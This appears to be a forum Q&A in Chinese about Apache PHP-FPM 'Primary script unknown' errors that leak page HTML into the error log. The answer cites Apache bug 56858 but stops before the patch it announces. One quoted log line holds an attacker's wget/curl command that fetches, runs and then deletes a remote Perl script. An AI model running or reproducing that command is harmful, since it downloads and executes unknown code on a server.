我在我的Web服务器上使用Apache和PHP-FPM。 当用户input一些Apache传递给proxy-fcgi的随机path名,并且找不到文件时,错误日志中将logging一个标准错误:
AH01071: Got error 'Primary script unknown\n'
但是,在某些情况下,我从我的网站的一个随机页面中获得一大块HTML,如下所示:
AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na.....
所以:
AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td....
我真的很担心,今天看到这样的事情:
AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de....
我认为这是一个cookie值散布在随机的HTML块。 有没有人遇到过这种现象? 可以做些什么来阻止随机的HTML和cookie被附加到错误消息?
这是在下一个版本2.4.x(2.4.11?)中解决的错误56858。下面是补丁: